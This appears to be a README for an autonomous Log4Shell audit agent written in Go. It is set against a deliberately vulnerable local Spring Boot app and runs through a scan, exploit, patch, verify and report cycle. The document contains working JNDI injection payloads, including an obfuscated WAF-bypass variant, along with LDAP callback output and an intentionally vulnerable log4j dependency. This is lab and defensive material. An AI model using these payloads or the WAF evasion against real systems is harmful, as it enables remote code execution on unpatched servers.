subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
    A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
    B --> C{Вычисление Utility Policy}:::think
    C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
    D --> E[Выполнение Tool.Execute]:::act
    E -->|Воздействие| F((Java Spring Boot Target)):::target
    F -.->|Обратный канал OOB| A
end

---

## 🛠️ 技术架构与组件

代理的软件结构按照整洁架构（*Hexagonal Architecture / Ports and Adapters*）、SOLID 和 TDD 原则设计：

* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/main/cmd/agent/main.go)** — 入口点。管理后台进程的生命周期，并协调代理 goroutine 的启动。
* 📂 **`internal/`** — 认知回路的核心业务逻辑：
  * 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/agent/agent.go)** — 认知回路。实现控制循环和策略选择决策规则 `Think()`。
  * 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/model.go)** — 基于 `sync.RWMutex` 的线程安全知识库（`KnowledgeBase` / LTM）。
  * 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/effector.go)** — 效应器的 `Tool` 接口。
  * ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/effectors)** — 多态效应器（工具）注册表：
    * 🔍 `ToolPortScanner` — 网络边界侦察。
    * 🌐 `ToolDiscovery` — 搜索连接点和输入向量（`X-Api-Version`）。
    * 🔬 `ToolPayloadGenerator` — 合成 JNDI 特征向量。
    * 🚀 `ToolProber` — 通过带外（Out-of-Band）跟踪方式验证漏洞。
    * 🛡️ `ToolSemanticFuzzer` — 通过嵌套语法变异绕过过滤分类器（WAF Evasion）。
    * 🩹 `ToolRemediator` — 自动修补（Self-Healing）。
    * 📄 `ToolReporter` — 按照 ГОСТ Р 56939-2016 生成报告。
* 📂 **`pkg/`** — 辅助包与库：
  * 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/oob)** — 带外（Out-of-band）监听器（LDAP 和 HTTP）。
  * ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/jvm)** — 管理本地 Java 目标的生命周期与重启。
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/main/deployments)** — 部署配置文件（Docker、Compose）。
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/main/test/vulnerable-app)** — 存在漏洞的测试用 Java Spring Boot 应用。


---

## 🎯 数学工具与认知循环（Think-Act Loop）规范

代理的决策被形式化为**部分可观测马尔可夫决策过程（POMDP）**，由元组 $\langle S, A, T, R, \Omega, O, \gamma \rangle$ 描述：
* $S$ — 目标环境的离散隐藏状态空间（端口可用性、是否存在易受攻击的参数、WAF 活动状态、是否被入侵、补丁状态、是否存在合规报告）。
* $A$ — 效应器动作空间（工具调用：`port_scanner`、`discovery`、`payload_generator`、`prober`、`semantic_fuzzer`、`remediator`、`reporter`、`stop`）。
* $\Omega$ — 观测空间（收到的 HTTP 响应、OOB TCP 回调、文件系统记录）。
* $O(o \mid s', a)$ — 观测函数，定义获得响应 $o \in \Omega$ 的概率。

### 1. 置信向量（Belief State）
代理无法直接获取环境的隐藏状态 $s \in S$，而是使用置信向量 $b(s)$ —— 即 $S$ 上的概率分布，该分布存储于 `KnowledgeBase` 内存中并动态更新：
* $b(S_{recon}) \in \{0, 1\}$ — 网络侦察状态（端口开放/关闭）。映射到 `ToolPerformance["port_scanner"]`。
* $b(S_{discovery}) \in \{0, 1\}$ — 输入向量映射（是否找到参数）。映射到 `len(DiscoveryVectors) > 0`。
* $b(S_{payload}) \in \{0, 1\}$ — 漏洞利用特征是否就绪。映射到 `len(CustomPayloads) > 0`。
* $b(S_{exploit}) \in \{0, 1\}$ — 入侵状态（是否存在 Loot/Flag）。映射到 `len(Loot) > 0`。
* $b(S_{patch}) \in \{0, 1\}$ — 漏洞是否已定位。映射到 `PatchApplied`。
* $b(S_{verify}) \in \{0, 1\}$ — 验证是否无重复 OOB 触发。映射到 `PatchVerified`。
* $b(S_{report}) \in \{0, 1\}$ — 是否生成合规报告。映射到 `ReportGenerated`。

### 2. 决策规则函数（Policy Mapping）
决策函数 `Think()` 实现确定性决策规则 $\pi: B \to A$，将当前累积的置信状态 $b$ 依次映射到最优效应器动作 $a \in A$。

### 3. 自适应学习与工具效能评估
对于每个工具 $a \in A$，在 `ToolStats` 内存中累积统计数据，并计算效用指标（Efficiency Score）：

$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$

代理利用这些指标动态调整轨迹：如果主探测 `prober` 失败（$\text{EfficiencyScore}(\text{prober}) = 0$），代理判定目标节点存在过滤（WAF），启用使用 `semantic_fuzzer` 工具的 WAF 绕过补偿策略，并对注入向量执行变异。

### 实验台分步执行场景：

| 步骤 | 所选工具 | 动作与过程机理 | Belief State 变化 |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | 检查主机 `:8080` 的 TCP 套接字。 | 发现 Web 服务的开放 HTTP 端口（$b(S_{recon}) = 1$）。 |
| **2** | `discovery` | 执行 GET 请求，解析 DOM 和标头。 | 识别出输入向量：`X-Api-Version` 标头（$b(S_{discovery}) = 1$）。 |
| **3** | `payload_generator` | 合成基础漏洞利用向量。 | 数据库新增字符串 `\${jndi:ldap://127.0.0.1:1389/Exploit\}`（$b(S_{payload}) = 1$）。 |
| **4** | `prober` | 初次攻击。代理发送有效载荷。 | 尝试被 WAF 阻止。$\text{EfficiencyScore}(\text{prober}) = 0$。 |
| **5** | `semantic_fuzzer` | 通过嵌套查找（nested lookups）混淆特征。 | 生成变异特征（$b(S_{payload}) = 1$，WAF bypass）。 |
| **6** | `prober` | 使用混淆后的向量进行攻击。 | 内置 LDAP 监听器记录到传入的 TCP 连接。发现 RCE 事实（$b(S_{exploit}) = 1$）。 |
| **7** | `remediator` | 自动修复。将标志写入 `remediation.properties` 并重启 JVM。 | Spring Boot 进程已使用 `-Dlog4j2.formatMsgNoLookups=true` 标志重启（$b(S_{patch}) = 1$）。 |
| **8** | `prober` | 验证（重复探测请求）。 | 等待端口 `1389` 上的 OOB 连接。无连接 $\rightarrow$ $b(S_{verify}) = 1$。 |
| **9** | `reporter` | 生成 markdown 报告。 | 已生成文档 `reports/cve_2021_44228_report.md`（$b(S_{report}) = 1$）。 |
| **10**| `stop` | 终止。 | 结束运行。 |

## 📊 算法流程图

### 1. 代理总体工作算法（Sense-Think-Act Loop）
该图描述了代理运行的持续生命周期：从启动和知识库初始化，到审计会话结束。```mermaid
%%{init: {
  'theme': 'dark',
  'themeVariables': {
    'background': '#0f172a',
    'primaryColor': '#1e293b',
    'primaryTextColor': '#cbd5e1',
    'primaryBorderColor': '#475569',
    'lineColor': '#38bdf8',
    'secondaryColor': '#1e293b'
  }
}}%%
flowchart TD
    classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
    classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
    classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
    classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

    Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
    Init --> LoopStart{Цикл принятия решений}:::decision
    
    %% Think Phase
    LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
    
    %% Branch on Stop
    Think --> IsStop{a == 'stop'?}:::decision
    IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
    
    %% Act Phase
    IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
    FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
    
    %% Sense Phase
    Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
    Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
    UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
    
    %% Wait
    RecordObs --> Delay[Задержка 800 мс]:::step
    Delay --> LoopStart

Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process

%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection

%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection

%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection

%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision

ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection

%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection

%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection

%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection

%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection

%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock

Unlock --> End([Возврат выбранного инструмента]):::startEnd

## 📦 易受攻击的 Java 应用规范

`test/vulnerable-app/` 目录中的目标应用是一个基于 **Spring Boot 2.7.18** 的最小化 REST 服务，并刻意使用了低版本的 **Apache Log4j2** 库：```xml
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>

当收到类似 `\${jndi:ldap://...\}` 的字符串时，日志记录器会发起 JNDI 地址解析，通过 LDAP 协议向端口 `1389` 发送请求。

---

## 🚀 启动说明

演示环境支持两种部署模式：直接在主机系统上本地运行（方案 A），或通过 Docker Compose 在隔离网络环境中完全容器化运行（方案 B）。

### 方案 A：在主机系统上本地运行

#### 前置要求
* **JDK 17+**（通过 `java -version` 检查）
* **Maven 3.8+**（通过 `mvn -version` 检查）
* **Go 1.21+**（通过 `go version` 检查）

#### 1. 构建 Java 微服务
将 Java 目标编译为 fat JAR 工件：```bash
cd test/vulnerable-app
mvn clean package
cd ../..

#### 3. 编译和运行演示环境
在 Go 即时解释模式下运行：```bash
go run ./cmd/agent

---

### 方案B：在隔离的Docker环境中运行（Docker Compose）

> [!TIP]
> 此方案无需在主机系统上安装Go、Java或Maven。整个环境会在隔离的虚拟网络`172.20.0.0/16`中自动构建和编排。


#### 前提条件
* 已安装**Docker**和**Docker Compose**插件（通过`docker compose version`检查）。

#### 1. 启动测试环境
在项目根目录下执行一条命令即可构建镜像并启动容器：```bash
docker compose -f deployments/docker-compose.yml up --build

---

## 📊 控制台输出示例```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.

[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.

[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.

[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.

[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.

[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.

================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.